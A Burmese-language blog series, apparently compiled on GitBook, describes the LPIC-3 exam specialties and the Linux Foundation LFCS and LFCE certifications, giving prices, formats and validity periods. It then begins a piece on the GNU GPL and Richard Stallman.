ဒီတခါတော့ Linux အတွက် ပညာရှင်အဆင့် ရှိတဲ့ certification တွေအကြောင်းကိုဆက်လက် ဖော်ပြပေးမှာဖြစ်ပါတယ်။ ဒါကတော့ LPI မှာအမြင့်ဆုံးအဆင့် ဖြစ်တဲ့ certification တွေပါ။ ကိုယ်လိုက်ချင်တဲ့ ဘက်ကိုအသေးစိတ် လေ့လာပြီးမှ ဖြေဆိုရမယ့် စာမေးပွဲ တွေဖြစ်ပါတယ်။ ကျွမ်းကျင်မှုကို အပြည့်အဝရှိမှ ဖြေဆိုလို့ရမယ့် စာမေးပွဲတွေပါ။ ဒီတဆင့်မှာတော့ Linux Enterprise Professional လို့ နာမည်ပေးထားတဲ့ အဆင့်လည်းဖြစ်ပါတယ်။ ကိုယ်လိုက်ချင်တဲ့ specialty ကိုလိုက်ပြီးတော့ LPIC-3 မှာ ၃ခုခွဲထား ပါတယ်။ အဲ့ဒီ ၃ခုကတော့ Mixed Environment, Security နဲ့ Virtualization and High Availability ဆိုပြီးတော့ ရှိပါတယ်။ တစ်ခုခြင်းစီကိုအောက်မှာ ဖော်ပြပေးသွားပါ့မယ်။ LPIC-3 certified ဖြစ်ဖို့ဆိုရင် ကိုယ်လိုက်ချင်တဲ့ specialty တစ်ခုမှာစာမေးပွဲ တစ်ခုစီ ကို ဖြေဆိုအောင်မြင်ရမှာဖြစ်ပါတယ်။ ကိုယ်က multiple specialty လိုက်ချင်ရင် တော့လည်း အကုန်လိုက်ဖြေလို့ရပါတယ်။ ဒီအဆင့်မှာတော့ အကုန်လုံး ရောနှောထားတဲ့ enterprise အဆင့်ရှိပြီး distribution တစ်ခုထဲမှာသာ အားသာလို့မရတော့ပါဘူး။ ကိုယ်က ဘယ် distro ပဲလားလား အကုန်သိထားအဆင့် neutral distro အဆင့်ထိရှိရမယ့် သဘောပါ။ ဥပမာ deb တခုတည်းကို သုံးတတ်လို့ မရတော့ဘူး၊ rpm မှာပါ ကောင်းကောင်း သုံးတတ် administrate လုပ်တတ် ရမှာဖြစ်တဲ့ သဘောပါ။

### LPIC-3 300: Linux Enterprise Professional Mixed Environment

အောက်မှာတော့ LPIC-3 Linux Enterprise Professional Mixed Environment မဖြေဆိုခင်သိထားရမယ့် အချက်လေးတွေကို ဖော်ပြပေးသွား ပါ့မယ့်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bd16bf6404e6528301f1460df173ca48dfd119ee%2FLPIC-3-MixedEnv-300x233.jpg?alt=media" alt=""><figcaption></figcaption></figure>

#### LPIC-3 Linux Enterprise Professional Mixed Environment ရဲ့လက်ရှိ version

လက်ရှိမှာ version 1 ပဲရှိပါသေးတယ်။ လက်ရှိ Exam code ကတော့ 300-100 ဖြစ်ပါတယ်။

#### LPIC-3 Linux Enterprise Professional Mixed Environment မဖြေဆိုခင်လိုအပ်ချက်များ

LPIC-3 ကိုရဖို့ဆိုရင် ကိုယ့်မှာ သက်တမ်းရှိနေသေးတဲ့ LPIC-2 ရှိဖို့လိုအပ်မှာ ဖြစ်ပါတယ်။ LPIC-1 နဲ့ LPIC-2 မှာလိုပဲ ကိုယ်နဲ့ အဆင်ပြေမယ့် အစဉ်အတိုင်းဖြေဆိုလို့ရပါတယ်။ ဆိုပါတော့ ကိုယ်က LPIC-3 ကို LPIC-2 မရှိပဲနဲ့ဖြေဆိုလိုက်တယ်ဆိုရင် ဖြေဆိုလို့တော့ရပါတယ်။ ဒါပေမယ့် LPIC-2 အကုန်အောင်ပြီးတော့မှ LPIC-3 certificate ကိုရမှာဖြစ်ပါတယ်။ အဲ့ဒီတော့ အစဉ် လိုက်ဖြေဆိုတာ ပိုပြီး အဆင်ပြေမှာပါ။

#### LPIC-3 Linux Enterprise Professional Mixed Environment မေးခွန်းပုံစံ နဲ့ ဖြေဆိုချိန်

Exam 300 မှာလည်း multiple-choice နဲ့ fill-in-the-blank မေးခွန်း အခု ၆၀ ကိုဖြေဆိုရမှာဖြစ်ပြီး၊ ဖြေဆိုချိန်ရတော့ မိနစ် ၉၀ ရမှာဖြစ်ပါတယ်။

#### LPIC-3 Linux Enterprise Professional Mixed Environment ရဲ့ အကြုံဝင် သက်တမ်း

တခြား LPIC certification တွေလိုပဲ ၅နှစ် အချိန်ရပါတယ်။

#### LPIC-3 Linux Enterprise Professional Mixed Environment အတွက်ပြင်ဆင်စရာ အပိုင်းများ

LPIC-3 Linux Enterprise Professional Mixed Environment အတွက် ပြင်ဆင်ရမယ့် topic တွေကတော့ အောက်ပါအတိုင်းဖြစ်ပါတယ်။

* OpenLDAP Configuration
* OpenLDAP as an Authentication Backend
* Samba Basics
* Samba Share Configuration
* Samba User and Group Management
* Samba Domain Integration
* Samba Name Services
* Working with Linux and Windows Clients

LPIC-3 Linux Enterprise Professional Mixed Environment ရဲ့ Exam 300-100 အကြောင်းကို အသေးစိတ်သိချင်ရင်တော့ ဒီ [link](https://www.lpi.org/our-certifications/exam-300-objectives) ကနေသွားဖတ်ကြည့်လို့ရ ပါတယ်။

### LPIC-3 303: Enterprise Professional Security

ဒီတစ်ခုကတော့ Linux က security တွေအကြောင်းကို အသေးစိတ်လေ့လာရမှာဖြစ်ပါတယ်။ အောက်မှာကတော့ LPIC-3 303: Enterprise Professional Security မဖြေခင် ကြိုတင်သိထားသင့်တဲ့ အချက်လေးတွေပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-33b44989d6caeb228fdcbfe33cd2aea6b30d105b%2Flinux-foundation-certifications.png?alt=media" alt=""><figcaption></figcaption></figure>

#### LPIC-3 Enterprise Professional Security ရဲ့လက်ရှိ version

လက်ရှိမှာတော့ version 2.0 ဖြစ်နေပါပြီ။ သူ့မှာ ဖြေဆိုရမယ့် စာမေးပွဲ ကတော့ exam 303-200 ဖြစ်ပါတယ်။

#### LPIC-3 Enterprise Professional Security မဖြေဆိုခင်လိုအပ်ချက်များ

LPIC-3 ကိုရဖို့ဆိုရင် ကိုယ့်မှာ သက်တမ်းရှိနေသေးတဲ့ LPIC-2 ရှိဖို့လိုအပ်မှာ ဖြစ်ပါတယ်။ စာမေးပွဲတွေကိုတော့ အထက်မှာ ပြောခဲ့ပြီးသလိုပဲ ကိုယ်နဲ့ အဆင်ပြေတဲ့ အစဉ်အတိုင်းဖြေဆိုခွင့်ရှိပါတယ်။

#### LPIC-3 Enterprise Professional Security မေးခွန်းပုံစံ နဲ့ ဖြေဆိုချိန်

Exam 303 မှာလည်း multiple-choice နဲ့ fill-in-the-blank မေးခွန်း အခု ၆၀ ကိုဖြေဆိုရမှာဖြစ်ပြီး၊ ဖြေဆိုချိန်ရတော့ မိနစ် ၉၀ ရမှာဖြစ်ပါတယ်။

#### LPIC-3 Enterprise Professional Security ရဲ့ အကြုံဝင် သက်တမ်း

တခြား LPIC certification တွေလိုပဲ ၅နှစ် အချိန်ရပါတယ်။

#### LPIC-3 Enterprise Professional Security အတွက်ပြင်ဆင်စရာ အပိုင်းများ

LPIC-3 Enterprise Professional Security အတွက် ပြင်ဆင်ရမယ့် topic တွေကတော့ အောက်ပါအတိုင်းဖြစ်ပါတယ်။

* Cryptography
* Access Control
* Application Security
* Operations Security
* Network Securit

LPIC-3 Enterprise Professional Security ရဲ့ Exam 303 အကြောင်းကို အသေးစိတ်သိချင်ရင်တော့ ဒီ [link](https://www.lpi.org/our-certifications/exam-303-objectives) ကနေသွားဖတ်ကြည့်လို့ရ ပါတယ်။

### LPIC-3 304: Enterprise Professional Virtualization and High Availability

ဒီတစ်ခုကတော့ Linux က Virtualization နဲ့ High Availability တွေအကြောင်းကို အသေးစိတ်လေ့လာရမှာဖြစ်ပါတယ်။ အောက်မှာကတော့ LPIC-3 304: Enterprise Professional Virtualization and High Availability မဖြေခင် ကြိုတင်သိထားသင့်တဲ့ အချက်လေးတွေပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-5fd8aa5362736557a2f8d1f2a15d97578f7bf9a7%2FLPIC-3-VandHA-300x233.jpg?alt=media" alt=""><figcaption></figcaption></figure>

#### LPIC-3 Enterprise Professional Virtualization and High Availability ရဲ့လက်ရှိ version

လက်ရှိမှာတော့ version 2.0 ဖြစ်နေပါပြီ။ သူ့မှာ ဖြေဆိုရမယ့် စာမေးပွဲ ကတော့ exam 304-200 ဖြစ်ပါတယ်။

#### LPIC-3 Enterprise Professional Virtualization and High Availability မဖြေဆိုခင်လိုအပ်ချက်များ

LPIC-3 ကိုရဖို့ဆိုရင် ကိုယ့်မှာ သက်တမ်းရှိနေသေးတဲ့ LPIC-2 ရှိဖို့လိုအပ်မှာ ဖြစ်ပါတယ်။ စာမေးပွဲတွေကိုတော့ အထက်မှာ ပြောခဲ့ပြီးသလိုပဲ ကိုယ်နဲ့ အဆင်ပြေတဲ့ အစဉ်အတိုင်းဖြေဆိုခွင့်ရှိပါတယ်။

#### LPIC-3 Enterprise Professional Virtualization and High Availability မေးခွန်းပုံစံ နဲ့ ဖြေဆိုချိန်

Exam 304 မှာလည်း multiple-choice နဲ့ fill-in-the-blank မေးခွန်း အခု ၆၀ ကိုဖြေဆိုရမှာဖြစ်ပြီး၊ ဖြေဆိုချိန်ရတော့ မိနစ် ၉၀ ရမှာဖြစ်ပါတယ်။

#### LPIC-3 Enterprise Professional Virtualization and High Availability ရဲ့ အကြုံဝင် သက်တမ်း

တခြား LPIC certification တွေလိုပဲ ၅နှစ် အချိန်ရပါတယ်။

#### LPIC-3 Enterprise Professional Virtualization and High Availability အတွက်ပြင်ဆင်စရာ အပိုင်းများ

LPIC-3 Enterprise Professional Virtualization and High Availability အတွက် ပြင်ဆင်ရမယ့် topic တွေကတော့ အောက်ပါအတိုင်းဖြစ်ပါတယ်။

* Virtualization
* High Availability Cluster Management
* High Availability Cluster Storage

LPIC-3 Enterprise Professional Virtualization and High Availability ရဲ့ Exam 304 အကြောင်းကို အသေးစိတ်သိချင်ရင်တော့ ဒီ [link](https://www.lpi.org/our-certifications/exam-304-objectives) ကနေသွားဖတ်ကြည့်လို့ရ ပါတယ်။

နောက်တပိုင်းမှာတော့ The Linux Foundation ကပေးတဲ့ Certified Sysadmin နဲ့ Certified Engineer စာမေးပွဲတွေ အကြောင်းနဲ့ ပြင်ဆင်လို့ရတဲ့ ပုံစံလေးတွေ အကြောင်းနည်းနည်းဆက်ရေးပါ့မယ်။


# အသုံးဝင်သော Linux Certification များအကြောင်း အပိုင်း (၅)

ဒီတခါတော့ LPI မဟုတ်တဲ့ တခြား အဖွဲ့ ပေးတဲ့ certification အကြောင်းလေးတွေ ရေးချင်ပါတယ်။ နောက်တစ်ခုက စာရေးသူ ဒီ certification တွေအကြောင်းရေးနေတာ စာဖတ်သူတွေ ဗဟုသုတ ရစေလိုသော စေတနာကြောင့်သာ ဖြစ်ပါတယ်။ ဒီ certification တွေကို promote လုပ်ဖို့ဆိုတဲ့ ရည်ရွယ်ချက်လည်းမရှိသလို ကြော်ငြာ ဝင်တာလည်းမဟုတ်ပါဘူး။ မသိသေးတဲ့ သူတွေသိနိုင်အောင်လို့ ဒီအကြောင်းလေးတွေ ရေးခြင်းသာဖြစ်ပါတယ်။ certification တွေ test centre တွေနဲ့ ဘယ်လိုမှ ပတ်သတ်မှုမရှိ ကြောင်းလေးကို စကားချပ် အနေနဲ့ အရင်ပြောပါရစေ။ Red Hat တို့ SUSE တို့ certification တွေအကြောင်းကို မရွေးချယ်ရတဲ့ အကြောင်းကိုလည်း ပထမဆုံး အပိုင်းမှာရှင်းပြထားပါတယ်။ အခုပြောတဲ့ LPI နဲ့ Linux Foundation ကတော့ FLOSS community ရဲ့ certification တွေဖြစ်တာကြောင့် FLOSS ကို support လုပ်တဲ့ အနေနဲ့ မြန်မာနိုင်ငံမှာ လူတွေသိအောင် ရေးခြင်းသာဖြစ်ပါတယ်။ LPI အကြောင်းလည်း ရေးတာကုန်ပါပြီ။ ဒီတပိုင်းမှာတော့ Linux Foundation ကပေးတဲ့ certification တွေအကြောင်းရေးမှာ ဖြစ်ပါတယ်။

Linux Foundation က certification တွေအကြောင်းမရေးခင် Linux Foundation အကြောင်းလေးကို နည်းနည်းလေး ပြောပြချင်ပါတယ်။ Linux Foundation ဟာ Linux ရဲ့ god ဖြစ်တဲ့ Linus Torvalds ကို ပြန်ပြီးအလုပ်ခန့်ထားတဲ့ အဖွဲ့ပါ။ Linux Foundation ရဲ့ အဓိက လုပ်ငန်းကတော့ Linux project တွေနဲ့ တခြား အရေးကြီးတဲ့ project တွေကို စမ်းသပ်တီထွင်နေတဲ့ အဖွဲ့လည်း ဖြစ်ပါတယ်။ အဲ့ဒီလို R\&D လုပ်ငန်းကြောင့်လည်း Linux က software နဲ့ security ပိုင်းမှာ အရှေ့ကို ကြိုပြီးရောက်နေတတ်ပါတယ်။ အဲ့ဒါကြောင့်လည်း IBM, Intel, Microsoft, NetApp စသဖြင့် ကုမ္ပဏီကြီးတွေရဲ့ ကျောထောက်ခံရထားတဲ့ အဖွဲ့လည်းဖြစ်ပါတယ်။ တဘက်မှာလည်း ICT industry ကလိုအပ်နေတဲ့ Linux သမားများစွာကို မွေးထုတ်ဖို့ရည်ရွယ်ပြီးတော့ certification တွေ training တွေ e-learning တွေကို လုပ်ထားပေးပါတယ်။ ဒီ post မှာတော့ Linux Foundation ကလုပ်ပေးထားတဲ့ certificate သုံးခုအကြောင်းကို အကျဥ်းချုပ်ပြီတော့ပြောပြချင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4e9beaa4ddb5a2696ade983f0f30123bf3f2e5c0%2F1569869_orig-300x115.gif?alt=media" alt=""><figcaption></figcaption></figure>

## အခြေခံအဆင့် e-learning နဲ့ certification/affiliation

သတင်းကောင်း အနေနဲ့ အခြေခံအဆင့်မှာတော့ online ကနေ အခမဲ့ enrol လုပ်ပြီးတော့ e-learning လို training ကို နာရီ ၄၀ ကနေ ၅၀ အထိ အချိန်ပေးပြီးကိုယ်တိုင် လေ့လာလို့ရအောင်လုပ်ပေးထားပါတယ်။ အဲ့ဒီ training ပြီးလို့ official certificate/affiliation လိုချင်ရင်တော့ $99 ပေးရပါ့မယ်။ မလိုဘူး လေ့လာရုံသက်သက် ဆိုရင်လည်း အခမဲ့လေ့လာလို့ရပါတယ်။ တစ်ပြားမှပေးစရာမလိုပါဘူး။ donate လုပ်ချင်ရင်လည်း website ပေါ်ကနေကိုယ်နိုင်သလောက် လှူလို့ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-19b57cfc80202a00e94298b9cf447715bb079261%2FScreenshot-from-2017-01-08-19-47-36-768x425.png?alt=media" alt=""><figcaption></figcaption></figure>

စိတ်ဝင်စားတယ်ဆိုရင်တော့ ကိုယ်တိုင် ဒီ [link](https://training.linuxfoundation.org/linux-courses/system-administration-training/introduction-to-linux) ကနေ enrol လုပ်ပြီးတော့ အခမဲ့ စတင်လေ့လာလို့ရပါပြီ။ training မှာတော့ slide တွေ tutorial video တွေကို အင်္ဂလိပ်လို လေ့လာနိုင်မှာဖြစ်ပါတယ်။ enrol လုပ်ဖို့အတွက် email တစ်ခုတော့လိုပါလိမ့်မယ်။

## ကျွမ်းကျင်မှုအဆင့် training နဲ့ certification များ

ကျွမ်းကျင်မှုအဆင့်မှာတော့ Sysadmin နဲ့ Engineer ဆိုပြီးနှစ်ပိုင်းခွဲထားပါတယ်။ အောက်မှာတော့ Sysadmin နဲ့ Engineer စာမေးပွဲတွေ အကြောင်းကို အကျဉ်းချုပ်ရေးပါ့မယ်။

### Linux Foundation Certified System Administrator (LFCS)

LFCS အတွက်တော့ Linux Foundation က self-paced 100% online course နဲ့ exam ကိုတွဲပြီးတော့ ရောင်းပါတယ်။ လက်ရှိမှာတော့ self-paced online course ကုိ LFS201 ဆိုပြီး တော့ ခေါ်ပါတယ်။ ကိုယ်ဟာကို online ကနေလေ့လာ သင်ယူရမှာဖြစ်ပြီးတော့ course အစအဆုံးအတွက် ၁၂ လအချိန်ရပါတယ်။ အဲ့ဒါပြီးတာနဲ့ စာမေးပွဲစဖြေလို့ရပါပြီ။ LFCS ကတော့ system administration အပိုင်းကုိ cover လုပ်ပေးပါတယ်။ အောက်မှာတော့ LFCS အတွက် သိစရာအကြောင်းလေး တွေကိုဖော်ပြပေးပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-df95aba0a79f73d7479b7d3465a3b27505d36b89%2Flogo_lftcert_sysadmin-300x262.png?alt=media" alt=""><figcaption></figcaption></figure>

#### LFCS မဖြေဆိုခင်လိုအပ်ချက်များ

Linux Foundation ကတော့ LFCS အတွက် self-paced online course နဲ့ exam voucher ကို $499 နဲ့ရောင်းပါတယ်။ online course ကိုအရင်လုပ်စေချင်တဲ့အတွက် တွဲရောင်းတာလည်း ဖြစ်နိုင်ပါတယ်။ ဒါပေမယ့် ကိုယ်ဟာကို အပြင်မှာလေ့လာပြီးတော့ exam voucher ပဲဝယ်မယ်ဆိုလည်း ရပါတယ်။ exam voucher ကတော့ $300 ပေးရမှာဖြစ်ပါတယ်။ ဝယ်ပြီးရင် ၁၂လ အချိန်အတွင်းမှာ ဖြေရမှာဖြစ်ပါတယ်။ စျေးတော့ နည်းနည်းကြီးပေမယ့် သူ့ရဲ့ exam format ကြောင့်လို့ တော့ နားလည် လက်ခံလို့ရပါတယ်။

#### LFCS မေးခွန်းပုံစံ နဲ့ ဖြေဆိုချိန်

LFCS ဖြေဆိုရာမှာတော့ ကိုယ်က test centre ကိုသွားစရာမလိုပဲနဲ့ ကိုယ့် ကွန်ပြူတာမှာပဲဖြေဆိုရမှာပါ။ မေးခွန်းပုံစီကို သေချာမပြောပြပေးထားပဲ မေးသမျှတွေကို ကိုယ်ဘယ်လောက်လုပ်တတ်သလဲ ပေါ်မှာ မူတည်ပြီးတော့ အမှတ်ပေးသွားမှာဖြစ်ပါတယ်။ အဲ့ဒါကို remote session ကနေတဆင့် စောင့်ကြည့်တဲ့သူက စောင့်ကြည့်သွားမှာဖြစ်ပါတယ်။ ဖြေဆိုချိန်ကတော့၂နာရီ အချိန်ရပါတယ်။ အနည်းဆုံး ၇၄ရာခိုင်နုန်းတော့ ရမှာအောင်မှာဖြစ်ပါတယ်။ အောင်လား မအောင်ဘူးလားဆိုတာကတော့ ၃ ရက်လောက်တော့ စောင့်ပြီးမှသိရမှာဖြစ်ပါတယ်။ အောင်ရင်တော့ Linux Foundation ကနေကိုယ့်ကို certificate လှမ်းပို့ပေးမှာဖြစ်ပါတယ်။ အဲ… နောက်တစ်ခုက exam voucher ဝယ်တဲ့အခါမှာ ကိုယ်က ဘယ် distribution နဲ့ ဖြေမလဲဆိုတာကို ရွေးလို့ရပါတယ်။ ရွေးလို့ရတဲ့ distro ၃ခုကတော့ CentOS, Ubuntu နဲ့ openSUSE တို့ဖြစ်ပါတယ်။

#### LFCS ရဲ့ အကြုံဝင် သက်တမ်း

LFCS ကတော့ ၂နှစ်ပဲ အချိန်ရမှာဖြစ်ပါတယ်။ LPI စာမေးပွဲတွေထက်တော့ အချိန်နည်းပါတယ်။

LFCS အကြောင်းကို ထပ်ပြီးသိချင်သေး ရင်တော့ ဒီ [link](https://training.linuxfoundation.org/certification/lfcs) ကနေသာ အင်္ဂလိပ်ဖတ်ပြီးတော့ လေ့လာလို့ရပါတယ်။

### Linux Foundation Certified Engineer (LFCE)

LFCE အတွက်ကတော့ Linux Foundation က exam voucher ကိုပဲ သက်သက်ရောင်းပါတယ်။ အောက်မှာတော့ LFCE အတွက် သိစရာအကြောင်းလေး တွေကိုဖော်ပြပေးပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-629721d7805896d7b119c6191a2ddd4447f9090e%2Flogo_lftcert_engineer-300x270.png?alt=media" alt=""><figcaption></figcaption></figure>

**LFCE မဖြေဆိုခင်လိုအပ်ချက်များ**

Linux Foundation ကတော့ LFCE အတွက် exam voucher ကို $300 နဲ့ရောင်းပါတယ်။ ဝယ်ပြီးရင် ၁၂လ အချိန်အတွင်းမှာ ဖြေရမှာဖြစ်ပါတယ်။ လိုအပ်မယ် training course တွေတော့ရှိပါတယ်။ Self-paced online course တွေလည်းရှိသလို အတန်းတွေဖွင့်ပေးပြီး ၃ ရက်ပြတ် ၄ရက်ပြတ်သင်တန်းတွေလည်းရှိပါတယ်။ မြန်မာနိုင်ငံမှာ တော့အဲ့လိုသင်တန်းတွေလာဖွင့်သလားဆိုတာကတော့ စာရေးသူလည်း သေချာမသိပါဘူး။

#### LFCE မေးခွန်းပုံစံ နဲ့ ဖြေဆိုချိန်

LFCE ဖြေဆိုရာမှာတော့ ကိုယ်က test centre ကိုသွားစရာမလိုပဲနဲ့ ကိုယ့် ကွန်ပြူတာမှာပဲဖြေဆိုရမှာပါ။ LFCS နည်းတူ remote session ကနေတဆင့် စောင့်ကြည့်တဲ့သူက စောင့်ကြည့်သွားမှာဖြစ်ပါတယ်။ ဖြေဆိုချိန်ကတော့၂နာရီ အချိန်ရပါတယ်။ အနည်းဆုံး ၇၄ရာခိုင်နုန်းတော့ ရမှာအောင်မှာဖြစ်ပါတယ်။ အောင်လား မအောင်ဘူးလားဆိုတာကတော့ ၃ ရက်လောက်တော့ စောင့်ပြီးမှသိရမှာဖြစ်ပါတယ်။ အောင်ရင်တော့ Linux Foundation ကနေကိုယ့်ကို certificate လှမ်းပို့ပေးမှာဖြစ်ပါတယ်။ LFCS လိုပဲ exam voucher ဝယ်တဲ့အခါမှာ ကိုယ်က ဘယ် distribution နဲ့ ဖြေမလဲဆိုတာကို ရွေးလို့ရပါတယ်။ ရွေးလို့ရတဲ့ distro ၃ခုကတော့ CentOS, Ubuntu နဲ့ openSUSE တို့ဖြစ်ပါတယ်။

#### LFCE ရဲ့ အကြုံဝင် သက်တမ်း

LFCE ကလည်း ၂နှစ်ပဲ အချိန်ရမှာဖြစ်ပါတယ်။ ၂နှစ်ပြီးတဲ့အခါမှာတော့ Linux Foundation ကတခြား certification လိုက်ဖြေရင်းနဲ့ renew လုပ်လို့ရပါတယ်။ အသေးစိတ်သိချင်ရင်တော့ အောက်မှာပေးထားတဲ့ နေရာမှာ ကလစ်ပြီးသွားရောက်ဖတ်ရှု လေ့လာလို့ရပါတယ်။

LFCE အကြောင်းကို အသေးစိတ် ထပ်ပြီးသိချင်သေး ရင်တော့ ဒီ [link](https://training.linuxfoundation.org/certification/lfce) ကနေသာ အင်္ဂလိပ်ဖတ်ပြီးတော့ လေ့လာလို့ရပါတယ်။

Linux certification တွေအကြောင်းတော့ ဒီမှာပဲ နိဂုံးချုပ်လိုက်ပါတော့မယ်။ သိချင်တဲ့ အချက်တော်တော်များများကိုတော့ စာရေးသူ ရေးသွားတဲ့ အထဲမှာ ပါမယ်လို့မျှော်လင့်ပါတယ်။ ပထမဆုံး အပိုင်းမှာပြောခဲ့သလိုပဲ ကျွမ်းကျင်မှု နဲ့ အတွေ့အကြုံ အပိုင်းမှာတော့ ကိုယ်နဲ့သာ ဆိုင်ပါလိမ့်မယ်။ certification ဆိုတာကတော့ လုပ်ငန်းခွင် အတွက် ရင်းနှီးမြုပ်နှံမှု တစ်ခုအနေနဲ့ ဖြေဆိုရတာပါ။ စျေးမပေါပါဘူး။ စျေးအရမ်းကြီးပါတယ်။ အဲ့ဒီတော့ ဒီအတိုင်းလေ့လာဖို့ဆိုရင်တော့ Linux မှာ အခမဲ့ လေ့လာလို့ရတဲ့ နည်းတွေအများကြီးပါ။ နည်းနည်းရှာလိုက်တာနဲ့ အင်တာနက်ပေါ်အများကြီးတွေ့နိုင်ပါတယ်။ စာရေးသူ အမြင်ကတော့ Linux certification တွေကိုဖြေဆို လိုက်တာဟာ FLOSS community ကို တိုက်ရိုက် သို့မဟုတ် သွယ်ဝိုက်သောနည်းနဲ့ ထောက်ပံ့ရာ ရောက်ပါတယ်။ Software နဲ့ OS ကို ကန့်သတ်ချက်မရှိပဲ အခမဲ့အသုံးပြုခွင့် ပေးထားပြီးသားဖြစ်တဲ့အတွက် သင်ကြားမှု လေ့လာမှု အပိုင်းမှာ အများကြီး သက်သာပါတယ်။ စာရေးသူအမြင်မှာတော့ Linux certification တွေကုိ ကိုယ့်အတွက်တစ်ခုတည်းအတွက် မဟုတ်ပဲနဲ့ Linux ရဲ့ Open Source community ကိုပါ အထောက်အပံ့ပေးရာ ဖြစ်ပါတယ်။ ဒီမှာပဲ Linux certification တွေအကြောင်းရေးတာကို ရပ်လိုက်ပါတော့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-64ad3f9aa30d763b7d0aa88d84987272d98dedab%2Flftc_evolution_sysadmin-768x586.jpg?alt=media" alt=""><figcaption></figcaption></figure>


# Linux မှာသုံးတဲ့ GNU General Public License အကြောင်း အပိုင်း(၁)

Linux အကြောင်းတွေ Linux kernel အကြောင်းတွေ Linux distribution အကြောင်းတွေ ပြောတဲ့အခါမှာ မပါမဖြစ် အကြောင်းအရာ တစ်ခုက GNU Genera Public License (GNU GPL) ဆိုတဲ့ Linux kernel ကယူသုံးထားတဲ့ license ဖြစ်ပါတယ်။ GNU GPL အကြောင်းပြောပြန်တော့ GNU Project နဲ့ အဲ့ဒီ GNU Project ကိုစခဲ့တဲ့ Richard Stallman (နာမည် အပြည့်အစုံ ကတော့ Richard Matthew Stallman တချို့ကလည်း အတိုကောက် RMS လို့ခေါ်ကြပါတယ်။) ကလည်း မပါမပြီးဖြစ်လို့သူအကြောင်းလည်း နည်းနည်း ပြောပြချင်ပါတယ်။ Richard Stallman ကို အမေရိကန်နိုင်ငံ ရဲ့ Software Freedom Activist တစ်ယောက် အနေနဲ့ လူသိများပါတယ်။ သူဟာ programmer တစ်ယောက်ဖြစ်ပြီး အခုချိန်မှာတော့ အသက် ၆၃ နှစ်ရှိပါပြီ။ သူ့ရဲ့ အတွေးအခေါ် အယူအဆတွေက GNU Project အစပိုင်းတုန်းက အမေရိကမှာလူတွေတော်တော် ကြိုက်ပြီးလိုက်လုပ်ကြတဲ့ Gypsy ဆိုတဲ့ လူနေမူပုံစံထဲ ထွက်ရှိလာတယ်လို့ထင်ပါတယ်။ မြန်မာနိုင်ငံမှာတောင် ဇော်ဝင်းထွဋ် ရဲ့ ဂျစ်စီမိုးတိမ် ဆိုပြီးသီချင်းတွေတောင်ထွက်ခဲ့သေးပါသေးတယ်။ အဲ့ဒီ Gypsy တွေဟာ လွတ်လပ်စွာ နေထိုင်သွားလာပြီး လွတ်လပ်စွာ တွေးခေါ်တတ်လို့ လူငယ်တွေ တော်တော်ကြိုက်ခဲ့ကြပါတယ်။ ဒီလိုပါပဲ Richard Stallman (RMS) ဆိုတဲ့ ပုဂ္ဂိုလ်ကြီးကလည်း အဲ့ဒီလွတ်လပ်ခြင်း ဆိုတဲ့ အရာကိုတော်တော်လေး မြတ်နိုးရုံသာမက ရှေ့တန်းကနေ တိုက်ပွဲဝင်ပြီး software တွေ application တွေကို ပိုက်ဆံယူ ရောင်းနေတဲ့ Microsoft လိုကုမ္ပဏီကြီးတွေနဲ့လည်း အကြီးအကျယ် အခြေအတင်ဖြစ်ခဲ့တဲ့အထိကိုဖြစ်ခဲ့ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-625bc24cf2a82bd9fcbe8db5845f3288ab4f1256%2FRMS.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bca424e2f6e1ad1f2692e2c35ec681278702da33%2FGPLv3_Logo.svg_.png?alt=media" alt=""><figcaption></figcaption></figure>

